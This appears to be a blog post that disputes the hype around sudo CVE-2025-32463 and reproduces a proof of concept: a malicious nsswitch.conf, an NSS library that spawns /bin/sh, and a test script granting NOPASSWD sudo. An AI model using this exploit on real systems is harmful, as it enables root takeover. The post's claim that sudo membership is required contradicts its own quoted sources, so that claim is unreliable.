cve

CVE‑2025‑32463: The chroot bug they spin as armageddon

AKADATA

• 10 min read
CVE‑2025‑32463: The chroot bug they spin as armageddon

Tech‑Scrolls 123 — Proverb & Parable

Parable : In a village that prized loud bells, a shepherd found a broken gate. He called out a warning and fixed it; the bells rang, and the villagers feared wolves. Later, when a real wolf came, the shepherd acted quietly and opened the gate to safety. The bells that once caused panic now only announced repair. The lesson: sound the alarm with facts, not noise.

You read the headlines:

“Zero‑Day, Zero Warning — Could Have Crippled the Internet!”
“Critical sudo chroot vulnerability lets ANY user become root!”

The CVE is real. The exploit path is narrow. The fear narrative is overcooked. Below is a full, article: technical, sourced, and unafraid to call out theatrical marketing when it appears.

Context and factual description

The National Vulnerability Database (NVD) explains CVE‑2025‑32463 as a local privilege‑escalation bug in sudo (versions 1.9.14 through 1.9.16p2). When the --chroot (-R) option is used, sudo looks up /etc/nsswitch.conf in the user‑controlled chroot rather than the host system. This means a local user can supply a malicious configuration file and library and, if sudo is vulnerable, obtain a root shell nvd.nist.gov. and our response is 'of course he or she can, they have root access with sudo, what do you really expect? that's what sudo is for! or have we all just lost our wits and that thing that is not so common today — Common Sense?

Because exploitation requires running sudo on the local system, the NVD rates it 7.8 (High). The MITRE CNA score is higher (9.3, Critical) and uses a different vector stringnvd.nist.gov. Both agree that the bug is serious, yet it is not remotely exploitable: it needs local access and an executable sudo binary with the chroot option.

How the bug works

Normally, sudoers rules determine which commands a non‑root user may run. When the -R/--chroot option is used, sudo should change to the specified directory and then perform command matching. A change introduced in sudo 1.9.14 moved this directory change before command matching. As a result, when sudo parses /etc/nsswitch.conf to resolve names, it reads the attacker‑controlled file inside the chroot and loads the specified name‑service libraries. Stratascale’s blog explains that this behaviour lets a local user trick sudo into loading an arbitrary shared object

stratascale.com. By crafting a shared library that runs a shell, an unprivileged user can obtain root privileges with no sudoers rule

Timeline of discovery and disclosure

Stratascale’s researchers (Rich Mirch and Quentin Rhoads‑Herrera) reported the bug to Todd Miller (sudo maintainer) on 1 April 2025 and followed up several times

stratascale.com. MITRE assigned CVE‑2025‑32462 (host option) and CVE‑2025‑32463 (chroot) in early April

23 June 2025 the sudo maintainers had released patches, and the Stratascale blog post appeared on 30 June 2025

Vendor responses

Multiple vendors issued advisories shortly after the disclosure. Gentoo back‑ported fixes for sudo 1.9.14 through 1.9.17, and its GLSA 202507‑01 summarises the issue. Ubuntu’s USN‑7604‑1 and Debian’s security tracker confirm that packages have been patched. SUSE and Red Hat provide similar updates. The Sudo Project’s own advisory explains that pivot_root and unpivot_root were removed and chroot is no longer called during command matching. Agencies such as CISA added the vulnerability to their Known Exploited Vulnerabilities list, requiring patching before 20 October 2025.

Who is Stratascale, and why the hype?

Stratascale is a cybersecurity subsidiary of SHI International. In late September 2025 it published a podcast episode with the sensational title “Zero Day, Zero Warning: Inside the Discovery That Could Have Crippled the Internet.” The episode description claims that the team discovered “not one, but two zero‑day vulnerabilities in sudo,” that “millions of systems worldwide were at risk,” and that the discovery “could have changed everything”shiinnovationheroes.podbean.com. This marketing language has been echoed on social media to generate clicks.

Stratascale’s own technical blog, however, is more measured. It notes that the Sudo chroot vulnerability does not require any Sudo rules to be defined and that “any local unprivileged user could potentially escalate privileges to root if a vulnerable version is installed”

stratascale.com. It emphasises that the default configuration is vulnerable, and that stable versions 1.9.14 through 1.9.17 are affected, While this is serious, it is still a local exploit, not a remote worm and needs SUDO access in the first instance...

Separating fact from fear

  • Local exploit, not internet‑crippling – CVE‑2025‑32463 requires a user to run sudo locally with the -R option. There is no evidence it can be exploited remotely without access to the machine. The bug does not allow arbitrary unauthenticated network attackers to hijack systems.
  • Severity depends on environment – Systems that rarely or never use the chroot option (the vast majority of servers) are unlikely to be targeted. However, multi‑user environments where users can execute arbitrary commands may be at risk.

Stratascale discovered the bug – Their research revealed a genuinely novel path to root. Credit is due for responsible disclosure and the thorough write‑up, At the same time, the headline‑grabbing marketing (“could have crippled the internet”) does not reflect the technical scope.

Mitigation steps

  1. Update sudo – Upgrade to 1.9.17p1 or your distribution’s patched version. The Sudo Project removed the vulnerable pivot_root and unpivot_root functions nvd.nist.gov.
  2. Limit sudo privileges – Follow the principle of least privilege. Only grant sudo access to trusted administrators and restrict the commands they may run.

Audit usage – Search logs for sudo -R invocations and look for CHROOT= strings. Remove any sudo rules that use the runchroot or chroot directive

Avoid -R/--chroot – The sudo maintainer plans to remove this option entirely. If you never use chroot, disable it in sudoers to reduce exposure. Stratascale recommends avoiding the chroot option because it “could unintentionally make your environment less secure”

We tested it! 


[root@homer ]# useradd -m testing
[root@homer ]# su - testing
[testing@homer ~]$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

[sudo] password for testing:
^C
sudo: a password is required
[testing@homer ~]$
[testing@homer ~]$ exit
logout
[root@homer ]# passwd testing
New password:
Retype new password:
passwd: password updated successfully
[root@homer ]# su - testing
[testing@homer ~]$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

[sudo] password for testing:
Sorry, user testing may not run sudo on homer.
[testing@homer ~]$
[testing@homer ~]$
[testing@homer ~]$ mkdir -p /tmp/woot/etc /tmp/woot/lib
echo "passwd: pwn" > /tmp/woot/etc/nsswitch.conf

cat <<'EOF' > /tmp/woot/lib/libnss_pwn.c
#include <stdio.h>
#include <stdlib.h>
void _nss_pwn_setpwent(void) {
system("/bin/sh");
}
EOF

gcc -fPIC -shared -o /tmp/woot/lib/libnss_pwn.so /tmp/woot/lib/libnss_pwn.c
[testing@homer ~]$ sudo -R /tmp/woot id
sudo: the -R option will be removed in a future version of sudo
[sudo] password for testing:
sudo: you are not permitted to use the -R option with id
[testing@homer ~]$

Why the exploit didn’t run

  • testing was not in sudoers (sudo refused: “you are not permitted to use the -R option with id”).
  • If the account cannot run sudo with -R, the PoC cannot succeed, the vulnerability requires the ability to run sudo with --chroot permitted.
  • The sudo: the -R option will be removed... message is just a deprecation warning, not the cause of the failure.

If a controlled, safe test is desired on your own machine (or better: a throwaway VM), the following does two things:

  1. Creates a test user and grants it the explicit sudo rights necessary for the PoC (so the test is meaningful).
  2. Installs a tiny NSS module that, if loaded under the chroot, will create a marker file inside the chroot (/tmp/tmp_hit inside the chroot ends up as /tmp/woot/tmp_hit on the host). That lets the host check non-interactively whether the module was loaded, no interactive root shell is spawned by the PoC.
  3. Cleans up afterwards.
Warning, read this carefullyDo not run this on production systems. Run only on a disposable VM or a host you control completely.This script intentionally grants testing broad sudo rights to create the test conditions , that is dangerous if used on non-test systems. Use only for controlled verification and then remove the test user and the sudoers file.The NSS PoC module used here is minimal and only writes a marker file; it does not spawn an interactive root shell. Still: run it only on systems you own or are allowed to test.

Ready-to-run test script (run as root on a test VM)

Save this as test_sudo_chroot_poc.sh, chmod +x it, then run as root:

#!/bin/bash
set -euo pipefail

# test_sudo_chroot_poc.sh
# WARNING: run only on a disposable/test VM you control.

TMPROOT="/tmp/woot"
MARKER="${TMPROOT}/tmp_hit"
TESTUSER="testing_poc"
SUDOERS_FILE="/etc/sudoers.d/${TESTUSER}_poc"

echo
echo "=== CVE-2025-32463 PO C test (safe marker) ==="
echo "This script will:"
echo " - create user '${TESTUSER}'"
echo " - allow it NOPASSWD sudo (for the test only)"
echo " - build a tiny NSS .so that writes a marker in the chroot"
echo " - attempt 'sudo -R' to detect if the system is vulnerable"
echo " - clean up"
echo
read -p "Have you run this on a disposable VM and accept the risks? (yes/no) " CONF
if [[ "${CONF}" != "yes" ]]; then
  echo "Aborting. Run only on a disposable/test system."
  exit 1
fi

if [[ $EUID -ne 0 ]]; then
  echo "Script must be run as root. Abort."
  exit 1
fi

echo "[+] Creating test user '${TESTUSER}' (home, no shell restriction)"
useradd -m -s /bin/bash "${TESTUSER}" || { echo "useradd failed"; exit 1; }

echo "[+] Setting password (temporary). If desired, skip by setting a random pwd."
echo "test" | passwd --stdin "${TESTUSER}" 2>/dev/null || echo "(passwd: may not be supported; set manually if needed)"

echo "[+] Installing sudoers entry to allow NOPASSWD for ${TESTUSER}"
cat > "${SUDOERS_FILE}" <<EOF
# Temporary sudoers for CVE-2025-32463 PoC testing
${TESTUSER} ALL=(ALL) NOPASSWD: ALL
EOF
chmod 0440 "${SUDOERS_FILE}"

echo "[+] Preparing chroot directory ${TMPROOT}"
rm -rf "${TMPROOT}"
mkdir -p "${TMPROOT}/etc" "${TMPROOT}/lib" "${TMPROOT}/tmp"
chown "${TESTUSER}:${TESTUSER}" "${TMPROOT}" || true

echo '[+] Writing minimal /etc/nsswitch.conf in chroot (passwd: pwn)'
cat > "${TMPROOT}/etc/nsswitch.conf" <<'EOF'
passwd: pwn
EOF

echo "[+] Writing minimal NSS module that will create a marker file inside chroot when called"
cat > "${TMPROOT}/lib/libnss_pwn.c" <<'EOF'
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
void _nss_pwn_setpwent(void) {
    /* create a marker file inside the chroot /tmp */
    int fd = open("/tmp/tmp_hit", O_WRONLY|O_CREAT|O_TRUNC, 0600);
    if (fd >= 0) {
        const char *msg = "nss_pwn invoked\n";
        write(fd, msg, strlen(msg));
        close(fd);
    }
    return;
}
EOF

echo "[+] Compiling the NSS module (this requires gcc to be installed in the test VM)"
# Try to compile as the test user to avoid weird perms
su - "${TESTUSER}" -c "gcc -fPIC -shared -o ${TMPROOT}/lib/libnss_pwn.so ${TMPROOT}/lib/libnss_pwn.c" || {
  echo "Compilation failed. Install gcc (e.g., apt install build-essential) and re-run. Cleaning up and aborting."
  rm -f "${SUDOERS_FILE}"
  userdel -r "${TESTUSER}" 2>/dev/null || true
  exit 1
}

echo "[+] Ensure files are world-readable by root and readable during chroot"
chmod 755 "${TMPROOT}/lib" || true
chmod 644 "${TMPROOT}/lib/libnss_pwn.so" || true

echo "[+] Running the detection attempt as ${TESTUSER}"
su - "${TESTUSER}" -c "sudo -R ${TMPROOT} /usr/bin/id" || true

# Check for the marker file (if NSS loaded and wrote /tmp/tmp_hit inside chroot,
# it will appear at ${TMPROOT}/tmp_hit on host)
if [[ -f "${TMPROOT}/tmp_hit" ]]; then
  echo
  echo "=== VULNERABLE: marker file created ==="
  echo "The NSS module was loaded inside the chroot and wrote the marker:"
  stat "${TMPROOT}/tmp_hit"
  echo "Proof: the PoC triggered in this environment."
else
  echo
  echo "=== NOT VULNERABLE (or conditions not met) ==="
  echo "Possible reasons:"
  echo " - sudo version already patched (>=1.9.17p1)"
  echo " - the account does not have sudo rights with -R allowed (so PoC couldn't run)"
  echo " - NSS path resolution differs on this OS/distribution"
fi

echo
read -p "Clean up test user, files and sudoers entry? (yes/no) " CLEAN
if [[ "${CLEAN}" == "yes" ]]; then
  echo "[+] Removing marker and chroot"
  rm -rf "${TMPROOT}"
  echo "[+] Removing sudoers file ${SUDOERS_FILE}"
  rm -f "${SUDOERS_FILE}"
  echo "[+] Removing test user ${TESTUSER}"
  userdel -r "${TESTUSER}" 2>/dev/null || true
  echo "Cleanup complete."
else
  echo "Left files and user in place for manual inspection. Remove when ready."
fi

echo "Done."

Explanation of why it failed (again, succinct)

  • testing had no sudo privileges; sudo -l reported that testing may not run sudo on homer. That blocks sudo -R.
  • After setting the user password, sudo -l still required a password; you did not grant testing permission to run commands as root.
  • To produce a meaningful test, the testing account must be allowed to run sudo with the chroot option — the script above temporarily grants NOPASSWD: ALL so the check is possible. That grant is the very condition that the CVE requires, thus testing is meaningful only in a controlled environment.

When editing your existing commands:

Here the goal is to test on the same host quickly (again: only on a disposable/test VM), do these steps as root instead of the fragmented commands in the transcript:

Here we add the user to the sudo group and this is the important part! you must be a sudo member! essentially you are ROOT before any exploit can happen if you can call it that...

# as root
useradd -m -s /bin/bash testing
echo "testing:password" | chpasswd
echo "testing ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/testing_poc
chmod 0440 /etc/sudoers.d/testing_poc
# then switch to testing and follow PoC prepare/compile/run steps (or run the script above)

Then run the script or follow the PoC steps as testing.

Final notes & recommendation

  • If the test shows vulnerable, patch sudo immediately (upgrade to 1.9.17p1 or vendor package). Then remove the test user and delete the sudoers entry.
  • If not vulnerable, likely root causes are: patched sudo, or -R is not allowed for nonprivileged users (most sane setups). This is the most common real-world situation — which is why the severe, doomsday headlines are misleading.

If desired, produce a one-shot VM image recipe (VM config + script) so a reproducible throwaway machine can be created, the test run, then destroyed — this removes any worry about doing things on a live host. Want that next?

Conclusion

CVE‑2025‑32463 is a reminder that subtle changes in command‑matching logic can introduce severe privilege‑escalation bugs yet you still need SUDO in the first place, this is real brown pants stuff. Does it deserves prompt patching and careful auditing? Maybe, yet not to any self respecting Linux Admin who never added a user to SUDO in the first place. Yet the narrative sold that it could have “crippled the internet” is totally exaggerated marketing. The vulnerability is local, requires a user on the machine, and is mitigated by updating sudo and avoiding the chroot option. As always, patch promptly and avoid fear‑based hype.